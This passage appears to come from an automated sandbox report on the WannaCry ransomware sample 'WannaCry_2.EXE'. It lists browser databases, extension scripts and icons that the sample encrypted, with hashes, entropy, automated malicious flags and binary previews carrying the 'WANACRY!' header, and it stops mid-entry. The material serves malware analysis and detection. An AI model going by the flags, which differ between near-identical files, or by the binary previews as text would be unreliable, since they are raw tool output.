                                                                                                      Preview:WANACRY!....n.........p........oUM8..4....#/W....Np.. ....{.x.;.rdh{s.~.A.p.D...9 .f.n..+.....o...T.....#..J.F.l9.d..IVtK.wP..q._.S..x...h:... .roE.%....W...^...Y....X...z..v..&..p.ek....@.*..F..7...x.Pd.,...qV_..d.,....`r{$.d?.G.)B`...l..*....PU.(.._.PG;.o.!.....;......../..d.X..9X...f.e...dO..Y..5[.W.^O9.0...'R.W.,=G.T.._..]G.o.H....2v.8.R..).-..............(1%..q......ow...P.rd.....`....)y.g.%-w...?..A.y..[...E...Sn.j.....i:.N.l3....8.#.z..q.....G..O..O"..3...=..eV.....U.j.|..x.4..g..ix?Q*..C<{$.y..}S4.B.u...2..........V..6J..B....3...s.....bd....]..up.[.*.#p..5=q.RY.<.;...`.M.^K^.o.v..R1....w).@..2.JJ[c...Dxr...z.#P...... .L....k.D9...V...#...b....0..Q.7F.........n.........o.s...Z..*.>*Vv..m.c..=.Y4.;c.v.;.......`02...e. l.oD.+........h_E..OS.....-.Ix.JTl...... ...L....u..&V......).fr8..x..E....6....l.F.....0.].0gfE^QG...28..U..YS.. %..E../?$....#..W.egP........Y...X...@.m..I.d.e....l.2........].....%.C...L....A...h.\.n6"2.....&.=..

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2600
                                                                                                      Entropy (8bit):7.9296462882550935
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk5Mjvo0/wLkTWZuAvWo/mnm158TtAGX+pOibn44GnkcapJxAnFwk7Bj9kB:oCjvooWYWZucWo/mmv8Bj+pOibntqvcp
                                                                                                      MD5:ECBEFA37ACA59C6DF9EDB53BB042B6FD
                                                                                                      SHA1:23F920FFDF7C5DA4D16F75362375ACFA39419C46
                                                                                                      SHA-256:1712BE31835AF7320C911DB633A33C1952257C5057E40CA436AEA15D5194785F
                                                                                                      SHA-512:20E87A8224B9E679A60B4F752E9A07540EE2414BF8322B2C32DFB754DDCBB9B38D6CE1FBF04D321C7DAF3A1BB69DFA259ED7CD9C2AAB4F2E3C1473177061B216
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....}.v..*..(.....9:g..U...8:./?0I..'(0..'.k)..-.L..~..?l=)P.Y...a.}...).y..f...%.Oq.^..,.j...]d..rS...:}0..m.G..w1y#.F..T..i9w......l.Z=h....(m..;...#....A.Q.......!..C...O... a.t+.].Q..V...E...hS...8.?~.J4.....S,...6O....k.....v4.o/;K.1;.b3p..J.a...............&.,M.l..l...~s....8.u..'.6J...?7.L.'..... ...&..1!!.:s.-...<....,.bJ.im...... ...~...{L..#n.~.:IYa..,G.E......l9...H..ryj.apou..j....G.=HT^..h.w.6.Z....2.#.=......Eu|N....`.<.....rV.>d........u..b..k>W..;.: `@M)$]...;...*.9.....jP..Io..~..-..p.5.!......>....C..j....B.x#....>.X...3.g..[.N....h.4.......b..Y).BgndL.l.9..9v....y....H".........H....X.?..I..q..M7".......5mp.iWB.v62W2.q..{..Go...`c-y.P.@........i..TI....-L......\.#p.+.......KI..x...vw..Z......T....jc......r.i/.K\h..y.......W..n.j.K....n0.....%..g......5..jYl...1~........Mg...%V..)...6.."...[qA...C.._.?.B..Xs4r%..._.MD.e.tX..Lh.E..FD.'.B{d.......r.d@R. ?.......<...N.Xe.y^.gu.IO.p.#..SS...I..K....5.llq{..x-7....

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1576
                                                                                                      Entropy (8bit):7.880352806878497
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkyhWT+FxNq6jtVUpefYggswgDfiJ4t/dB0:oyQTIxNFtVDf2rgDf8S/4
                                                                                                      MD5:FF9DC2DBCBB5E8DA1A7FE9D5408A53B5
                                                                                                      SHA1:2CF7C70795957575C8367BC0F05BA07B7B2900C3
                                                                                                      SHA-256:5CB3F73A5E4D2134637C786C9162635795DC0EAE5E7F78B6982D9679B41209F6
                                                                                                      SHA-512:BE5D00D976859EBCA520DA97B57204E49CF13814203DD44DC7D2E2C4F743C8980FD3224DF02D1AA6C02530E6508C87688BE6B2D7DB84F0B2A123CDB8E1247385
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........g..O%.......!..8P9..'..aP'.....X$E..N..zP.!c4...8........_.TH=...r.8.@.|.. .vF.......+....I....C...GH.-..n....aE{.*I5...R.s.?.M.M.....Q4.e.`..........E.....M.-w./}K=.%...M.A.b..z..........[.....H.a..g..QN..@.M..5..m..gMF.f.z.{..5....@..N.............-V..x.#..$a.3.yU..Cp\`K7J..h..f....3.a@+..R=........D5..WG/Y.{....z....z.b..........<L.g...,._.e.F..R.. .....DE?.B..g|J..{. ..."......2.-n.......7..........._..0..U&.b.G.....e..F..E...@...G&.........Acp.q....-..f...t.V.c..K.X...jx...%..WN.x._B..>,........A...t.:A...cH.A...........Q.t@bD..F..+..5K..-.<.....nT.mI."...L..4.......=..K..3.p:k......R.U.5.8"[...\.....w...9*.....t..........:.=.p..`..Iv...\1u.n........|.U"k.#.Bn+.&w.T..H....kr. ..n....w...wIV....r51Q(...d....'. .......-.....{C..S|.}...p..&.#.... ...._.6B..pAo.b..A..YE_..J.!.\-0fb...=...4..A...K.c.;....~..?..9......M..l./..8?..X..Z.....)...!o..E0.h.....iX....'H...e.t......D.v.4..A.M..'G@.L...b]....0r....!..:...s..7.|..u

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5480
                                                                                                      Entropy (8bit):7.963330064993054
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oX9f8Cs7ONtlcbH0U+r9KyrWbHCE0x9/g7Oz2+YcBAZOQcrCBauM27z3wHucGby9:6f6+C0/RKyrlx9/g1+bBAZdauM27DMuw
                                                                                                      MD5:8E4AA863EF51D854FAF345CF4535B1B7
                                                                                                      SHA1:E498E264C14A494BEBECE9FA3278CAC41C144508
                                                                                                      SHA-256:BA6A9A95357E17728128455C87B260721AA95F7F3917BCFF9441F2406C379148
                                                                                                      SHA-512:082537BE5C5CDE3C6766C5073878A5DC89839958FCFC620D6B78B9F33903B5476133E149ABC07B90B826A2BC9280362982171CBB638B95ABFFEEFDBBB25A9077
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....?....Fwkn......;`c..'.......pX[.^......jz....J.'.i.:.........2.V...V.RD..|p.....p...{..\.`2W.[..N.b...n.<.d.4.M.....%.4N.u.\...l..9...6.u.f.p....l.{=...'.J........M.]..S.Eh.Z..n..<..M=..B!.....1.5..%.........ANu.[;..W}9.'.......i..M..?..=....b9....G.......l.....^W..#..B(y.."..WJ..d.....b...g..vpU...mW...V.....%BN\..i3^. ......@j.......`..:..]...Z..+]!.@@.......A.'c...V}...+..-Y.WS..............W...g[B..6...|.i.kz.*...L.aDz..q..w..v...0Xr8JO..._...&....&<>...V1....{).....?..q2~..3...^..K.zQ!....w>....|C,.$7..........d..2n05.....v.n.O.9.j.....d.r.K."n.%....u6..B..=....=.U..US.X....X..>|.Id..vG.%Kcx.[.....wE.ln..$.7....z.A.X.....1.UJ....QK....f,..p..%t...g%..{....2..@Jst....w.p.G......s.y..n...~H..<@..f..Yn.4....S-..,..m.....i.x&G....zzl]..(X..Lc.r...}D...+..U.D...~....o.j...(y.i.y6..j.7.S...i.S7...p....q.w..=...g...........F.f....Et..t4.......O....1....xn.Y.^...=.#...8.D.`....S.....7...I7sf.n...L.I..a>*!....1(...b...e.A`.$..

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.82300069639905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk8GNr9UqAuwyArHOvOofwiwEOhHJtsOPcSfEZBPSX76HP3JKRREofb0d:bkF9Uqpv6uvSf9zmO0xZBP+OqRESbk
                                                                                                      MD5:5E9D9FD1DCC1D52B72FD6E471D955D56
                                                                                                      SHA1:9445745BA88D437A6BC0440AEB216954460035C0
                                                                                                      SHA-256:44DACF8202B1E3A39A2DAF140E493B7E8F9463222C54B1B41D49B97AAF01AC60
                                                                                                      SHA-512:F1E88D4082D6092C353D66B951B831A98D9ECBF76D25B20CE0008AB6749C9AC068C413B9141C279D32559973C33974C2D2ECBF8313DFBF7D93A580DE0239D74A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....o%.6G....O....u........{lk.s..=.(.n..o......k^...JD99%.A:a..>.s.V...!.).....}*.T..t.m..@..9.-.~.....A.2(l...q.z?..<.....I...p...{....U.....*.....N..m[...CD.2G...q.qj..N.....O..@..>....q2.....%u#QYW?...G.....<kE.^.w.V(St....H.S........|h............... F......gW..nU.......s.H...?..AL..........-......fXS..)U....../......>7....d.."....z.L.XO....h......&{a..KPM.GE...M..p....H.7....QQD...:.~... .....G.{......[....].X..{.fi..$..."8...\o....v...........S.[h6.....)}/ .{.c.[....l.<.H:.L./.V..l.!..?i......q..02......i.;g/+..9+...].r.$.&..\v.....K......:+.;n.,....=..x.t..K........".Y:..B:....[V!...5h(..[n......P.jM....-&......i.Dn..^..{..$...!.......|K;.^[..7.h.5..c>..C_m6..+.h.B......]..........}.R=[.....6..0...-..S*^..<_&....$....H.6...........we.Bq5.C.G..d..C.@(..#fk....x....\U..........Q..V.@G.q..vA...(.._.a. .........,r&.[F>...3.......AF.u}....].._.w..f>.,..f.Z..M...Y.(S..._.:....#....]...].......z.G.oC.0..

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28952
                                                                                                      Entropy (8bit):7.994024573869313
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:TKypombAtfDrsVsJab8p5qB+LHDJpQt57FAJKMIYJbWuvRm8dO+YuZHTDVImq8S1:+2omIfDQVsJrDvQ2TI2aAYuZXvPIb86v
                                                                                                      MD5:E41CC24813EE7C11BF95F5CC7414EB66
                                                                                                      SHA1:A943F795A583E50FBE60C3BEDB9E1B7FD86331EE
                                                                                                      SHA-256:F79C7FF8E0EF2C28BA57E0150C7F3F756EF36154BF31D5915AF77C48942C9BEB
                                                                                                      SHA-512:5AD69ECA8CAC5AD49BB312DE623B6227F2697E3524B7AAC0DB534D6E57CA2E9D1A0AFE86237966D14C564C645C52C5B3AFB6BD4ADFE504464ECC668E8279AE54
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........K.<qV3D.........Ms:.....o.s\.\A....4.q..L..X.q!........F>.....o...9....`.`.&...'..4F..o..q..$+......p...s8Pa'C...{..Q.......Y|J.B.K9U..`..B..S,.../d.......]..'..'.W..4.N.p:.l.R..`<...<.`.%..5.......o&(......K....P....r....G.+r..b....t.....p...........@..n|E.9.!kZ...+..9.gg..!.....&a...L}..{..G.-q5!...{rv.{.).......O..,..S.$w.t5..\.@a...O..&yix[..y.A..v..T{......d...B^CS...T..B......@.`..r.%>KT.:.....ec4.....6..........J.#:0....>.+2M.2Uo.P9}.@...".'..Y5v..Z.....]..N...,@.8..Z..F.w.../F....6i6.1.(.Q..Q[2......]. ,..a.I..R..U.q....x...N.{..{I..H ..^.d@......M-j;..L.iA.M.....k...+&.(.x.ls...)6..0..<n.._i*......2.].q..H?....."..".......S.0...t......OH.....5%..y.^..c..rz..3..N..5.6.~eC...>&q.Y.....>.%..........&......Xmf.~..rK.........c#..7.1x..). ....V.O....Y..s:./....(..=.A.+y.~..Iu\.......=.Qv....6.m.l...'...X<b/5......e.....AQ..VA.m..F._g*...[..<............4..Y..j...Q.W...R..t....}....[I..8.&.[.Z.bw|X.........I...

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988581502086213
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:Zok8CdGD/ZfyJJJs3+zfNDUA7usaKYomKOUtK0PjzMQbLB:uk8lha5XN4Ais3mKOgK6Pjt
                                                                                                      MD5:5EF4A531A532804055564AFF3ECC018B
                                                                                                      SHA1:D3DBF48078FE850512FD3C616FF37CE566002764
                                                                                                      SHA-256:2D68E13A05F781430BB93119CCC7E5E063BEDB2A2397C54438446194DFADFEAB
                                                                                                      SHA-512:3F3CB737AA93073D961F7E90563E70478B270446DB2BFED97097CFF6675BB54957B5A68691A40A812E82CE6330352B3B76047E5C17128531C5F4FB4091111EE3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Y...}..*D........@.:).]...]..|.n._.....Y.{@oB...9.....].?..=V.Ri=.........Re....G..%Q.".!.f...P..i7,|..D`.9f. ..j...z.x..:..b.7X....."8%io.c 6V.g..Z?,..]..`.+[..3..w.*.,k; c...+u..#C8.(...9..B.DM.H..I.V.Xk.. ....*.7...1..r...$G.J.._..........@..............]r.....xi.. ....Z....sA....u...IX>Z...XV)....hW.....&{w...fJr...P%g,................]@....z.o^.......@;,l....J.Q.;.bw.e....vF...,l!X#T..N...S.h..Y_...\.....>..~..u].a...*...r.....T?.......G.T.b....;.....Nf^S..o...8...+}..YK_H.x......5......3.L....Z2.O.v.vK0~.Y1.~v0...B....rV<..WO..._>.h.5)=J&G.B.-H..mf.g.e[2?..R.r......`.Y..v1..|........]._2...!0..34.9.!=...8o(.Fz.}{.D.`l..B..@...&..v...:R..n..[.N.y4.kRx.R ...o...VB.....efMl(...2G..*E.p....).JTwXe.....:Vqy..u...2.;e.........f.r..*.U....R.Pc.1b..X.,fU.VH.`F...;.i.{.S.....h}.t..7...].L..-|.TB|.....?.1...e.....N.......Fh.k......).>..I......K.eM..^.2...|.7.!.....Q..e..".....R5.SJ...".\..7...+...h.n.v@....O D.}Y.[2r.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):49432
                                                                                                      Entropy (8bit):7.996177080070782
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:rl2FO970a/azp2/gc220zJnvplsY465XR8RDhCg0lqSSWyCPxk0o5sxV+YFSCZey:rlOajKpWgc2J742qtQdXy4xwOHUCh5l
                                                                                                      MD5:2E3C674F4D4339166DC9A2B6CF2B179E
                                                                                                      SHA1:A5A01645B626710C7241EDD47841759B7241B3E0
                                                                                                      SHA-256:41C3100E4E9E8FE2DB988AF9DBECE7D07AAE4B9BEA4FAD22BE8DCC99AF53FCE9
                                                                                                      SHA-512:10B9D55A5428A409F0B1E327F41F4DF39D95A5D837F0470749F994976DFD660D7DFE1D8DEFAA4CE736FDC356A204D2A040732B617CAB1F9CEEBDFDBA229751D5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....g.]=J...EP..-8..yK..p..ap#..C.x~...)..9M.6...x..............d&.my,..^...Sw.]....)V......1.;...3.P...L....t....'S.a.t....Q.....c...v.......ea&Xp..{...T.e/N".+&.j.8.. .:."..n....Z..M..`.v26.y..GI.4]......@..{.%_..ig.R......Q....!...4...="...nR.+..............5./...+;l..]A@..-.$.2[......(:...$.....Y.e.H..'..Z(.......Gb;..H..E@-.z .b. ?........R...2D.F..Z...\..U...v3....K..k.R.7.(i..2)..p)zO.:.o....!a.U...{./;r.J.@...,..C.k.S.........J..D.B...."...B..x>V?.v.j.._.i4...Ux..).....Cw..JFK?v......O.c........I..k..C..m...>.r!.*...'.S.j...).....cv.....+.....H.n.o..T..x2~"..r.A....d...[.2..Q.F"}.CZ..!...F.....>..M}A..U.g.....z.;m...Vr....>.IhcJ.(.!...}.*..m..m......DS...;xJ....\..*..q.2>.{w.M..Sv{.ah...S,^...F.(..]..b...1...@.(>.}...V.C9........ZX.2....@.?..y3.m.....x..o....m.W.t.[&G...U.|i.H..6.9.>...B..g.........r.F.Nb......d.r...;.k. .5K....=.e.=U~.......;...a...........3......<(.%a.4.n.Z-..&6..h.dY.......,R.1...`uX....?...B9.0.....d

                                                                                                      C:\Users\user\AppData\Local\IconCache.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11496
                                                                                                      Entropy (8bit):7.984606745908652
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xyGa/jYCPTqiOM6K5TVXvSQ+/6Xg8Xi2ZZQc0FUlMOqGW+AFuVTFhdtnWdsrziEp:pa/rmBM6K5RXv4CXg8Xi2ZZQc0IMOAI3
                                                                                                      MD5:E6020264A605B84964A30DB7225FBBA4
                                                                                                      SHA1:E8FFC3AC7160579781A8E804DBE25C15EFC4287F
                                                                                                      SHA-256:1F5E8858F0135FAC2800E7BAA49457B9464F3A07CEE88694D8C64D42F1002DD3
                                                                                                      SHA-512:779B8C8D762EE08F00FA13909AEB8EE22AA455D5783684A745383972410CA818ADACF5F0DC61C6952EA09964FEA54550BB94581615C3471905A5994CC0F81C48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....3....Tl.[.J.....*.D..\Bu.)....>j5.B.w...U....Y......l|0.Z_.i.O.......W..j.5.ya[..@......Z_S.Z..4$odV.....=0p2....a.z.f.]..8...Q...6.Ml.tG...e.0..G.....8.H]..;p.3..}..Z.)..j.....-..u..U.....0........Y...0-........K.....z'!e..N.G..$.y<....%.VU......+........8..XZ........F......#.X.........$q...4.Y........I..p.:n..._...A....{.^.K./0.....sG......u..<t ^v..G#5.t.urS.q..V%V.....A.(:.!.I[.....=.;.j...srf..].y......}..*.T.U.&..B.pu..b.T..2...pxas&..T.-...}&.. k.Y.q...4.u.7..r...>...7Xl.qa.....-0...W%..^J(.....=......K.....T0> Va~.1.U.T... .>...q(F..A...7.tz.Y....!.Gz....._.%n.<>....L..[...3.+....P`v(.....f..y.x....#=b...L.......=..n.I:.....X....x...dP=.H...Y.+...p8...w.....#..E..q|.O.#.r.I....n...<<J......z..h~..Rc.....m_.iw.#...+T.g,..J.,I.}!U...U..&...R...T.]Z]..;........I.m.).l.+].w.K.a...$0....3...=.A...).....tr.{.5.t....'..s.....m.<3...YAn.?..GOy-.n._....6._v......m.=.!...,TX....,&,.S`v._.i..g\1$@)...Px.2a.....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):33048
                                                                                                      Entropy (8bit):7.995577601551343
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:oQ/lUEFSdw9AhcBocECqgSNnJsvgm10kJaGSV6dzP7aOSnnsv:oQ/l9EdThu7SNrU3lw6MFA
                                                                                                      MD5:34D1A5330BDAA8E6A3FD72682F41B41E
                                                                                                      SHA1:48C2C7FB524B8E4C6E4ED2F91BE16CD83FAAA82A
                                                                                                      SHA-256:77FB64BEE86917C05E70DF45FA89CDDFB1DD00149E74CFB08BD44230AF4017C9
                                                                                                      SHA-512:4ECE9B24EC677BEE87460683D00B5E5480F6B4B3C7F32E4AD7CFF4B99E96C7D6581B9E240EEA75DA7F76BE25DF8ED690224430C5E887EB0DAF3A6EC2F894F11D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....?...y..ij.f.../.V.Z.fc.A...+{..f..3....`...V.p[c......1T.u..g~.i.^,..x...=mxD...>..6....3....DTp..B.%.h.c.^g.x...Z..T.eQ..z......G..m..........e...Key........s.(..b...Z......@..2G..3..l..B....B;..D...I..T.\..ZB.v...V.&.A...i........'U...Y"F.............p*.M......k<.u-.u.I20o.B.95j..c....i....e%..U.]|..KQ:Q....n.`...~Kai.._.......M..A$..L.......a..t.s..g..Bn..).{........W<w3....f...9N.Y..$B#F....&R..z...\...f..i..39*`.&....^ts+..~.l."....Cb/.u".M..Gsw...S...m.E.A;B..+$....kE.)....k.F.|......L.O|.T60=P...?1^.33.{.TP=.-)j.s...EC.8.......9.2AR.Ak/.2.,...z..>...T.&(S..I...D..{.6..fGe.Tk.n.aN......a...]....G....A.V..!.l.q...A../L/s@..pb.E'{'b..,..'2.t.f.%q.%..~v.....).....Mw{?.V..L..'.V....w.."..J.=..n;E..|...&;%...{.x.o...5i:.mJR..C.QiCG.M..A.e...D'Y.=..B.<...(.V..<C(1.V.........o=`.&G\_.?...ab....{..E].`.i..<,l_....$........W.aC5.A..J.#.\F.,Q..q......%..E.a...j..V.k..=.......-..].d_@er...*..YoI!...u....T_..i.M*w'.1..Q.".C...3...g..8.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20760
                                                                                                      Entropy (8bit):7.991991197103612
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:WZbDGx7XVbcKpntBpZV6iN1jFIge7KGuRVDuOjfPGBnCN2rrZKK:WOFhP6AjFeeGiDuODPinCSr
                                                                                                      MD5:C2526BDC3AF0D4800A4B6F46C9B30E6B
                                                                                                      SHA1:845C019957D8BF476F8CB75A9901A649B7882488
                                                                                                      SHA-256:726E7B396B1EB6B22945E108B2412B15178BC817EFACE11A98C57969E7D0FCD2
                                                                                                      SHA-512:6F2A0E5AB9118593FFCF1EAF8689AD9AF70536A300B7511D80BA45802A45AAB9970702F04C03FA3B1C427EAA412831EF760E080640CC240E676EC9C499CCADB3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%...I..|J........>....M.......U..(HIj1......Bz..~|...rv._s[*.P.*...s.L.+...S\..I...u.$.r...1yt.J...T.......@..?..2.68..'...%.......T..O...w5.v..Db..T..V..UM..0....+~...w........K...h6..X..O..~../m....i....B........~...b..zT....8...-...gP".aIC^.7.....P...........y.rL.cq.S#1...l...'..ZA..l.M^...D.'...S..t.P. %x0.R.~......V.:.....k.4{4.m....QDHhF.H$j.YY.:e.....8k_Qh,.\#.....j;B..,.4....sE.S..'a.K..o...Ig..%,/...?5...YB..........b.&$...go].b$_.... ...........r.h.@.._...T.y8 '........>|.gi....#%J}.q.T ?..".o.-R..U g.9...a..8...w.....J.r.q.@.u.F...B.dQ.:..ATv.g.e..\t.Z...$....Z..>?..$....(}..#=Q.....'!..6!..y.......pN4,......^..*...#.....................4....[.=_'.........y..DgPq2Z...Q2./..Y........;2..x.f.|jm..E.Jo......O.*...A.4...5N..9.m..x.0.:.r@W.....AM.u.X.L....|.'...`...Z.P-.ym}...n......=..,.. WoV_.k.....t0<28.77....=.C-.8.-...FNF.YV..X../.b.O.k..g...jS...F/....@&J....0..E.q..;......l..c.n.%.'F..~...>6+l#.;...Ma_..$.s..V*..8[

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5272
                                                                                                      Entropy (8bit):7.9633105600824186
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ojMVTuLtL6ZR34HJASvEwND0Rs2JaL8T1oGqE2D6zUZ5s4k8OHk5QC02YE:T2teZRoHJASy8cC/PgDfEqMYE
                                                                                                      MD5:9C147233C0395D7B17681F4B4FDA1D90
                                                                                                      SHA1:030592AA1216179F060C874D212BA08F51644729
                                                                                                      SHA-256:24A8675EFA9F678DFC7782C5C16859ECEA99A3267E8EBA556A3971EF9A71430C
                                                                                                      SHA-512:29932C9567CCEAB6EE96C3637D5AED3C8187376A4594473FA5F529B81BF81B21F0EF222A983E13E9029D360A42937D124D76B786E3031FB6BFB560C81C57C3A4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......MJn...I.f.(...0G..........a..n...nz.q......9M.iq5!.Tx..\.'.*E2t....0.....)......G5..".'t3l{.9..aa..qW.gGWn.....]...=.>|..X.c......L..Chm.T.A..;..It\_..h:a..!.....!.6....3....aVj7.vq.[ba1...!..R.}....Z..u9E...l.)4.m.cV.l..i....j..Q..h&EV..>.I...5eLu....v........1.....W.I+<l......"*.(.....<..(.AF.N..f5..l5........O...-.qO.;=.k...wQ..J_.,ZZ...}p......#.S~._.P.td.9h.^,...L...\....Eu..w+9.M.S.p..P_....r..C...&>%..-.T.....0..F...TQ.Mj.p..._I.....Qa....'.J.yncy...R..?....Z'.5.LO.B.N!.!{.......n[..........3!.Z.J...~....@....B..G....\T.Xk...P9\cV..A.... A........s.....<.r...+..y...`].Xv\1....5T{VdY..s.....A.p.Y'.......f.r....5.#8}.X...?.G..j4Rh.n...uT.....VVq^Y.~..n).....CE........mB..m...5)./...TvS..A..). .(...O...O.Y..9..=...%..C.._...._......(Z....4v.]..K.F..S.+.j??=iF..U...'..M....yP..@.*".h..1.\.....*.K7nb\L..........E.c..{B=.ei.@...+.v.F.(.Hj+.D./.gt...L6....,."{....H.....^.V.......]....(p....\.sT....q3^C..1.<.r.3.F.k$. .......6.._.K......

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):9704
                                                                                                      Entropy (8bit):7.984366495851247
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:DXSTJrj5EUVjntc1IQH1LPhZXVugfbAL2WUpjyelq+g/kyQKbWsuu9JOTSHyl:LIJXqU1q1ISvc9aWUJlq+QPWsugATSHm
                                                                                                      MD5:CE2F262AD629C4253DEB3F7BDCFA038E
                                                                                                      SHA1:D885116198AFC434D514DDA75B95A9764A887651
                                                                                                      SHA-256:F58925BEA5C3D17BC1B15EB54868B471DC2DB374E7C111ACDE10B1C7B42F923B
                                                                                                      SHA-512:23B13B3B6F5212095A8013995A2CAF06BFB0279418D7D991226F5642AD8E52705536599E8F736C6AD70CCF8A988A440B1956494E812771D90CB7F35F049A03D0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......\8.R............W....e.Mv.+v..=.?..M....N.....Rm.=.R..9:co.Dq...@n..Yq.h...qcP'..-.l.....Q#D...<.[...DW."..xn..^.......71..q..es=z..R.h...m,C:..:;:..(.....>.`.}#.9?........vS...;.p6.Y.P.H}o."......t...w.c3..\.|^`.N!.....I[.i..V=l....b..+.>......$..........`?....T,haC.*\...!.c2....U..6..!.S7.3!........`.Y...k.\*..."6...?.R..)'.&8..`.XD]..8..!...e,../#....a..$...T.A...8.L..\..R..t@e?r.O.urz.......#...I.z.G.b.......`}Ac.}..L..l.|<O..F.....G._....H.c.8..[.#7O.....$_..#.......6.JM..~t........p,....*F3.......I.@..a..5...;.s.'......0$..d.7?w.V.Oa2nl..F..v..^v..._..?\M.n..9/fu.x.}.Zu.....A........4..V..g!..k.G..P.2}.....=.@e..\.]...yO...ND[.5......=v.j.r..!Z.}...S..cu.......{\.h<..j...8.,hp...Ca..[Y.p8........R.0..kvn.o.Y...J....F'.q.=fg.(.S.G.lh.^S.X..=.....V.<r8..z.cL.};.3r#g.&..C.n.L.@.O...sl...x.....gs.Fw.^..{.l*p.f3.....N..... ..*....j*...Mi8.....:......$.v..}.?...m.E.....]..c;.>]...i..Y6..{g..wLl....J.."..a.{.QOL:.L.[ ...)...X......

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js.WNCRYT

                                                                                                      Download File
